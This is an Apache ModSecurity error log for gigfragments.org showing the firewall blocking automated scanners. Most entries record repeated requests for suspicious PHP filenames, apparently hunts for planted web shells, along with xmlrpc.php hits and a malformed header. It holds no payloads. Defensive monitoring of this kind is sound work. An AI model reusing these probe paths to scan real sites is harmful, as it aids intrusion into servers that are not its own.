[Thu Jan 08 21:55:27.409975 2026] [:error] [pid 15358:tid 15375] [client 13.75.69.16:31182] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dout.php"] [unique_id "aV-3TyoRk9xWJ3toSBKLWQAAAMU"]
[Thu Jan 08 21:55:28.058424 2026] [:error] [pid 15358:tid 15383] [client 13.75.69.16:32998] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dout.php"] [unique_id "aV-3UCoRk9xWJ3toSBKLWwAAAM0"]
[Thu Jan 08 21:55:30.749471 2026] [:error] [pid 7586:tid 7595] [client 13.75.69.16:22783] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin836.php"] [unique_id "aV-3UsJyk37GdXP5TmV4mgAAAcc"]
[Thu Jan 08 21:55:31.864475 2026] [:error] [pid 15263:tid 15273] [client 13.75.69.16:1686] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin836.php"] [unique_id "aV-3U9v61bxum7WG_e8OzAAAAAE"]
[Thu Jan 08 21:55:32.566568 2026] [:error] [pid 7586:tid 7589] [client 13.75.69.16:25063] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin836.php"] [unique_id "aV-3VMJyk37GdXP5TmV4nAAAAcE"]
[Thu Jan 08 21:55:33.779564 2026] [:error] [pid 15358:tid 15393] [client 13.75.69.16:25532] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin836.php"] [unique_id "aV-3VSoRk9xWJ3toSBKLYwAAANc"]
[Thu Jan 08 21:55:35.051015 2026] [:error] [pid 17404:tid 17406] [client 13.75.69.16:25483] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aV-3V2Vd_oH193N6AnXKrwAAAYA"]
[Thu Jan 08 21:55:37.114365 2026] [:error] [pid 2484:tid 2487] [client 13.75.69.16:25531] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aV-3WTiDlnlaQQK_AEOcrQAAAUE"]
[Thu Jan 08 21:55:39.130740 2026] [:error] [pid 2424:tid 2446] [client 13.75.69.16:29664] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aV-3W7TDJR8aofkBk9Q5YwAAARQ"]
[Thu Jan 08 21:55:40.307025 2026] [:error] [pid 15265:tid 15339] [client 13.75.69.16:23242] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aV-3XKE6VBKhew2LTFRXvwAAAI0"]
[Thu Jan 08 21:55:41.634469 2026] [:error] [pid 2484:tid 2504] [client 13.75.69.16:22427] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aV-3XTiDlnlaQQK_AEOcsQAAAVA"]
[Thu Jan 08 21:55:42.332827 2026] [:error] [pid 2424:tid 2438] [client 13.75.69.16:23250] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aV-3XrTDJR8aofkBk9Q5aAAAAQw"]
[Thu Jan 08 21:55:44.280418 2026] [:error] [pid 2424:tid 2447] [client 13.75.69.16:31194] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aV-3YLTDJR8aofkBk9Q5aQAAARU"]
[Thu Jan 08 21:55:44.992568 2026] [:error] [pid 7586:tid 7607] [client 13.75.69.16:29636] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aV-3YMJyk37GdXP5TmV4nwAAAdE"]
[Thu Jan 08 21:55:45.795593 2026] [:error] [pid 15265:tid 15338] [client 13.75.69.16:33258] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "aV-3YaE6VBKhew2LTFRXwgAAAIw"]
[Thu Jan 08 21:55:47.008208 2026] [:error] [pid 7586:tid 7605] [client 13.75.69.16:22000] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "aV-3Y8Jyk37GdXP5TmV4ogAAAc8"]
[Thu Jan 08 21:55:49.156396 2026] [:error] [pid 2424:tid 2436] [client 13.75.69.16:26543] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "aV-3ZbTDJR8aofkBk9Q5bgAAAQo"]
[Thu Jan 08 21:55:50.047472 2026] [:error] [pid 2424:tid 2439] [client 13.75.69.16:23426] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "aV-3ZrTDJR8aofkBk9Q5cQAAAQ0"]
[Thu Jan 08 21:55:51.701605 2026] [:error] [pid 15358:tid 15371] [client 13.75.69.16:1257] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aV-3ZyoRk9xWJ3toSBKLbQAAAME"]
[Thu Jan 08 21:55:52.667079 2026] [:error] [pid 15263:tid 15287] [client 13.75.69.16:1216] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aV-3aNv61bxum7WG_e8O0AAAAA8"]
[Thu Jan 08 21:55:53.578597 2026] [:error] [pid 2484:tid 2512] [client 13.75.69.16:21964] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aV-3aTiDlnlaQQK_AEOctgAAAVg"]
[Thu Jan 08 21:55:54.777125 2026] [:error] [pid 15263:tid 15288] [client 13.75.69.16:34850] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aV-3atv61bxum7WG_e8O0wAAABA"]
[Thu Jan 08 21:55:56.978157 2026] [:error] [pid 2484:tid 2506] [client 13.75.69.16:34294] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww3.php"] [unique_id "aV-3bDiDlnlaQQK_AEOcuQAAAVI"]
[Thu Jan 08 21:55:57.594147 2026] [:error] [pid 15264:tid 15312] [client 13.75.69.16:34277] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww3.php"] [unique_id "aV-3bYov6_kvS0Owh-ockAAAAE0"]
[Thu Jan 08 21:55:58.269283 2026] [:error] [pid 15264:tid 15300] [client 13.75.69.16:34841] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww3.php"] [unique_id "aV-3boov6_kvS0Owh-ockQAAAEE"]
[Thu Jan 08 21:56:01.575042 2026] [:error] [pid 2484:tid 2487] [client 13.75.69.16:34565] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww3.php"] [unique_id "aV-3cTiDlnlaQQK_AEOcuwAAAUE"]
[Thu Jan 08 21:56:02.549695 2026] [:error] [pid 2424:tid 2444] [client 13.75.69.16:21978] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s.php"] [unique_id "aV-3crTDJR8aofkBk9Q5eQAAARI"]
[Thu Jan 08 21:56:03.405631 2026] [:error] [pid 2424:tid 2435] [client 13.75.69.16:28049] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s.php"] [unique_id "aV-3c7TDJR8aofkBk9Q5fAAAAQk"]
[Thu Jan 08 21:56:03.766894 2026] [:error] [pid 15263:tid 15289] [client 13.75.69.16:24448] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s.php"] [unique_id "aV-3c9v61bxum7WG_e8O1gAAABE"]
[Thu Jan 08 21:56:06.173513 2026] [:error] [pid 15265:tid 15341] [client 13.75.69.16:26503] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s.php"] [unique_id "aV-3dqE6VBKhew2LTFRXywAAAI8"]
[Thu Jan 08 21:56:06.740892 2026] [:error] [pid 7586:tid 7613] [client 13.75.69.16:1313] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "aV-3dsJyk37GdXP5TmV4sAAAAdc"]
[Thu Jan 08 21:56:07.704456 2026] [:error] [pid 2484:tid 2511] [client 13.75.69.16:31812] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "aV-3dziDlnlaQQK_AEOcvwAAAVc"]
[Thu Jan 08 21:56:08.763506 2026] [:error] [pid 7586:tid 7593] [client 13.75.69.16:20735] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "aV-3eMJyk37GdXP5TmV4sgAAAcU"]
[Thu Jan 08 21:56:11.374704 2026] [:error] [pid 2484:tid 2507] [client 13.75.69.16:20912] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "aV-3eziDlnlaQQK_AEOcyAAAAVM"]
[Thu Jan 08 21:56:11.907511 2026] [:error] [pid 15358:tid 15383] [client 13.75.69.16:31395] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/re.php"] [unique_id "aV-3eyoRk9xWJ3toSBKLeAAAAM0"]
[Thu Jan 08 21:56:14.086341 2026] [:error] [pid 2424:tid 2442] [client 13.75.69.16:1293] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/re.php"] [unique_id "aV-3frTDJR8aofkBk9Q5gwAAARA"]
[Thu Jan 08 21:56:15.035342 2026] [:error] [pid 2424:tid 2437] [client 13.75.69.16:20688] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/re.php"] [unique_id "aV-3f7TDJR8aofkBk9Q5hAAAAQs"]
[Thu Jan 08 21:56:16.945278 2026] [:error] [pid 15263:tid 15272] [client 13.75.69.16:23950] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/re.php"] [unique_id "aV-3gNv61bxum7WG_e8O2gAAAAA"]
[Thu Jan 08 22:11:28.184694 2026] [:error] [pid 15263:tid 15280] [client 188.34.181.211:55776] [client 188.34.181.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.34.181.211, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV-7ENv61bxum7WG_e8QawAAAAg"]
[Thu Jan 08 22:11:46.384543 2026] [:error] [pid 15263:tid 15285] [client 150.60.157.163:27802] [client 150.60.157.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 150.60.157.163, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV-7Itv61bxum7WG_e8QoQAAAA0"]
[Thu Jan 08 22:11:52.382059 2026] [:error] [pid 15263:tid 15285] [client 185.93.68.7:49412] [client 185.93.68.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.93.68.7, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV-7KNv61bxum7WG_e8QugAAAA0"]
[Thu Jan 08 22:11:52.669502 2026] [:error] [pid 15358:tid 15380] [client 220.158.233.59:34332] [client 220.158.233.59] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 220.158.233.59, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV-7KCoRk9xWJ3toSBKNYAAAAMo"]
[Thu Jan 08 22:12:04.891984 2026] [:error] [pid 2484:tid 2502] [client 154.0.174.142:45060] [client 154.0.174.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.0.174.142, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV-7NDiDlnlaQQK_AEOgBAAAAU4"]
[Thu Jan 08 22:12:14.977153 2026] [:error] [pid 2424:tid 2443] [client 47.243.141.65:58024] [client 47.243.141.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.243.141.65, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV-7PrTDJR8aofkBk9Q8PgAAARE"]
[Thu Jan 08 22:12:19.509096 2026] [:error] [pid 17404:tid 17408] [client 143.95.111.157:46035] [client 143.95.111.157] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.95.111.157, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV-7Q2Vd_oH193N6AnXMlQAAAYI"]
[Thu Jan 08 23:24:48.845604 2026] [:error] [pid 7586:tid 7614] [client 185.79.157.164:37798] [client 185.79.157.164] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.79.157.164, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV_MQMJyk37GdXP5TmWF_AAAAdg"]
[Thu Jan 08 23:24:50.250203 2026] [:error] [pid 2484:tid 2501] [client 47.236.177.201:50776] [client 47.236.177.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.236.177.201, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV_MQjiDlnlaQQK_AEO0EgAAAU0"]
[Thu Jan 08 23:25:22.824941 2026] [:error] [pid 2484:tid 2504] [client 103.139.103.154:43178] [client 103.139.103.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.139.103.154, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV_MYjiDlnlaQQK_AEO0IwAAAVA"]
[Thu Jan 08 23:25:35.036512 2026] [:error] [pid 15265:tid 15326] [client 72.53.210.82:52776] [client 72.53.210.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 72.53.210.82, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV_Mb6E6VBKhew2LTFRmBwAAAIA"]
[Thu Jan 08 23:31:39.342763 2026] [:error] [pid 2484:tid 2509] [client 43.156.156.96:51380] [client 43.156.156.96] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aV_N2ziDlnlaQQK_AEO1tQAAAVU"]
[Fri Jan 09 00:37:31.593014 2026] [:error] [pid 15265:tid 15342] [client 39.109.116.19:33924] [client 39.109.116.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 39.109.116.19, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV_dS6E6VBKhew2LTFRz3wAAAJA"]
[Fri Jan 09 01:12:14.810034 2026] [:error] [pid 15263:tid 15280] [client 74.225.160.253:30848] [client 74.225.160.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assacc.php"] [unique_id "aV_lbtv61bxum7WG_e8x4QAAAAg"]
[Fri Jan 09 01:12:23.171867 2026] [:error] [pid 15263:tid 15282] [client 74.225.160.253:45536] [client 74.225.160.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assacc.php"] [unique_id "aV_ld9v61bxum7WG_e8x5QAAAAo"]
[Fri Jan 09 01:12:24.457406 2026] [:error] [pid 15265:tid 15335] [client 74.225.160.253:45532] [client 74.225.160.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assacc.php"] [unique_id "aV_leKE6VBKhew2LTFR9EwAAAIk"]
[Fri Jan 09 01:12:33.921240 2026] [:error] [pid 17404:tid 17429] [client 74.225.160.253:35959] [client 74.225.160.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6y7t.php"] [unique_id "aV_lgWVd_oH193N6AnXxJwAAAZc"]
[Fri Jan 09 01:12:35.590350 2026] [:error] [pid 15264:tid 15311] [client 74.225.160.253:35951] [client 74.225.160.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6y7t.php"] [unique_id "aV_lg4ov6_kvS0Owh-o9ngAAAEw"]
